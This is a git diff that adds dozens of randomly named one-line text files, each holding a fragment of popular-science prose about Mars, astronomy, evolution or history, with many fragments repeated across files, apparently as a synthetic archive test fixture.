diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/bhxlwcsipfn.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/bhxlwcsipfn.txt
new file mode 100644
index 0000000..a9f63f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/bhxlwcsipfn.txt
@@ -0,0 +1 @@
+network, and localized by time-of-flight determinations to a position coincident with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/eepyfeqdrstefoemrsej.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/eepyfeqdrstefoemrsej.txt
new file mode 100644
index 0000000..0cd2e43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/eepyfeqdrstefoemrsej.txt
@@ -0,0 +1 @@
+their lives on the mathematics of a scientist from Alexandria?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_dkkiaqerwtvzcfmhxls.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_dkkiaqerwtvzcfmhxls.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_dkkiaqerwtvzcfmhxls.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_gtyskbnzbvvmhan.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_gtyskbnzbvvmhan.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_gtyskbnzbvvmhan.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_hxdmbfacobazhwztnb.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_hxdmbfacobazhwztnb.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_hxdmbfacobazhwztnb.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_icfrcoprcdytaeuljx.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_icfrcoprcdytaeuljx.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_icfrcoprcdytaeuljx.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_izvaugvqwf.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_izvaugvqwf.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_izvaugvqwf.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jidbzknjdfetxu.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jidbzknjdfetxu.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jidbzknjdfetxu.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jzlnfjdhsm.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jzlnfjdhsm.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_jzlnfjdhsm.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kdreczdw.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kdreczdw.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kdreczdw.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kohjmehsuzgufmuldkwxfjn.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kohjmehsuzgufmuldkwxfjn.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kohjmehsuzgufmuldkwxfjn.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kzztpetpxylvkdlhfn.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kzztpetpxylvkdlhfn.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_kzztpetpxylvkdlhfn.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ljskfhridbnhgmfnpzfgvcl.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ljskfhridbnhgmfnpzfgvcl.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ljskfhridbnhgmfnpzfgvcl.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_lumlrfguvyxlabgsxrofioy.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_lumlrfguvyxlabgsxrofioy.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_lumlrfguvyxlabgsxrofioy.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ocwaxzrkrp.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ocwaxzrkrp.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ocwaxzrkrp.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qiblktjevplibwribyu.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qiblktjevplibwribyu.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qiblktjevplibwribyu.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qinhoaonsmlqwsonck.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qinhoaonsmlqwsonck.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qinhoaonsmlqwsonck.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qvwrldcgnlelbwjaouiklpx.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qvwrldcgnlelbwjaouiklpx.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_qvwrldcgnlelbwjaouiklpx.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_rihrthaupgkjjuf.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_rihrthaupgkjjuf.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_rihrthaupgkjjuf.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_treqecjzjerjcop.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_treqecjzjerjcop.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_treqecjzjerjcop.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ttwcgcanhewvtzzbzwawbuw.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ttwcgcanhewvtzzbzwawbuw.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ttwcgcanhewvtzzbzwawbuw.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ufliabwsaisfjcxyhxcfscp.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ufliabwsaisfjcxyhxcfscp.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_ufliabwsaisfjcxyhxcfscp.txt
@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_uqdkconuxdbaqnyshauuhljd.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_uqdkconuxdbaqnyshauuhljd.txt
new file mode 100644
index 0000000..7321dd3
--- /dev/null
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+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_zydltwpoowzhxbqkucem.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_zydltwpoowzhxbqkucem.txt
new file mode 100644
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@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_zymbassyqxtapl.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/file_zymbassyqxtapl.txt
new file mode 100644
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@@ -0,0 +1 @@
+for so dangerous and mysterious a planet as Mars, there was also at least an element of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/ilxprxmuopudzp.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/ilxprxmuopudzp.txt
new file mode 100644
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@@ -0,0 +1 @@
+causality: The Germans were working on the bomb at the beginning of World War II; so
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/iplczjdco.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/iplczjdco.txt
new file mode 100644
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@@ -0,0 +1 @@
+eating meat on certain days in the Church calendar); coffee in the fifteenth century; the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/klymydsxlxhvicpwyltqyeb.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/klymydsxlxhvicpwyltqyeb.txt
new file mode 100644
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@@ -0,0 +1 @@
+pulsars, exploding galaxies, symbiotic stars, cataclysmic variables and X-ray sources that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/mmnumabqjbokcaruei.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/mmnumabqjbokcaruei.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
+and destiny of the human species, themes to which we will return.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/nuslbwzllizc.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/nuslbwzllizc.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/nuslbwzllizc.txt
@@ -0,0 +1 @@
+colonization of the land by animals; winged insects arose together with the amphibians,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/opoejgxbdbxwxbliaavei.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/opoejgxbdbxwxbliaavei.txt
new file mode 100644
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@@ -0,0 +1 @@
+in the adjacent gas, compressing the intergalactic medium and accelerating the generation
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/rjuxxobvbibnjnxisb.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/rjuxxobvbibnjnxisb.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
+over the aeons is entirely clear from the alterations we have made in the beasts and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/safjuwts.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/safjuwts.txt
new file mode 100644
index 0000000..a00ec9a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/safjuwts.txt
@@ -0,0 +1 @@
+understood about the origin of life, including the origin of the genetic code. But we have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/vdputrarepyexhgdh.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/vdputrarepyexhgdh.txt
new file mode 100644
index 0000000..95a72c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/vdputrarepyexhgdh.txt
@@ -0,0 +1 @@
+of vulcanism or floods 3,500 years ago. There are Mesopotamian inscriptions referring to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xfascycwskg.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xfascycwskg.txt
new file mode 100644
index 0000000..99b2b92
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xfascycwskg.txt
@@ -0,0 +1 @@
+The solar wind trickles into the outer solar system far beyond the orbit of Saturn.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xolrswhbisxtyfthpi.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xolrswhbisxtyfthpi.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/xolrswhbisxtyfthpi.txt
@@ -0,0 +1 @@
+chosen dull places. But we could hope. The first picture taken by the Viking 1 lander was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/yesdftmmmop.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/yesdftmmmop.txt
new file mode 100644
index 0000000..8240612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/yesdftmmmop.txt
@@ -0,0 +1 @@
+deduced instead ‘the existence of some race rationally capable of constructing those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/ynoienccfshlmo.txt b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/ynoienccfshlmo.txt
new file mode 100644
index 0000000..3782166
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wrdnrcybcd/folder_zjpmbnkdwd/folder_kydbbestfr/folder_nhpjgeysfs/ynoienccfshlmo.txt
@@ -0,0 +1 @@
+And the apricot!
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_ayygqbykmzakuegyzyb.txt b/big_zip/big-zip-files/folder_wxadangttv/file_ayygqbykmzakuegyzyb.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_ayygqbykmzakuegyzyb.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_dentlezjjhz.txt b/big_zip/big-zip-files/folder_wxadangttv/file_dentlezjjhz.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_dentlezjjhz.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_eubrwbbuawiwiyziew.txt b/big_zip/big-zip-files/folder_wxadangttv/file_eubrwbbuawiwiyziew.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_eubrwbbuawiwiyziew.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_eweoxldcvijpl.txt b/big_zip/big-zip-files/folder_wxadangttv/file_eweoxldcvijpl.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_eweoxldcvijpl.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_ggddjdbplmzv.txt b/big_zip/big-zip-files/folder_wxadangttv/file_ggddjdbplmzv.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_ggddjdbplmzv.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_jhkroihjvojlxoqbwy.txt b/big_zip/big-zip-files/folder_wxadangttv/file_jhkroihjvojlxoqbwy.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_jhkroihjvojlxoqbwy.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_llvtlttpi.txt b/big_zip/big-zip-files/folder_wxadangttv/file_llvtlttpi.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_llvtlttpi.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_lvxwmhbmnbofovzrgflbjc.txt b/big_zip/big-zip-files/folder_wxadangttv/file_lvxwmhbmnbofovzrgflbjc.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_lvxwmhbmnbofovzrgflbjc.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_mkylbpooiyjxgluucmmk.txt b/big_zip/big-zip-files/folder_wxadangttv/file_mkylbpooiyjxgluucmmk.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_mkylbpooiyjxgluucmmk.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_mpdyunvc.txt b/big_zip/big-zip-files/folder_wxadangttv/file_mpdyunvc.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_mpdyunvc.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_nfvoctzesnvt.txt b/big_zip/big-zip-files/folder_wxadangttv/file_nfvoctzesnvt.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_nfvoctzesnvt.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_notsfmvoeuzchcdjvto.txt b/big_zip/big-zip-files/folder_wxadangttv/file_notsfmvoeuzchcdjvto.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_notsfmvoeuzchcdjvto.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_owuebtfx.txt b/big_zip/big-zip-files/folder_wxadangttv/file_owuebtfx.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_owuebtfx.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_pnwnabkpubwrmounjgfav.txt b/big_zip/big-zip-files/folder_wxadangttv/file_pnwnabkpubwrmounjgfav.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_pnwnabkpubwrmounjgfav.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_scfakiuxenhjkfiygz.txt b/big_zip/big-zip-files/folder_wxadangttv/file_scfakiuxenhjkfiygz.txt
new file mode 100644
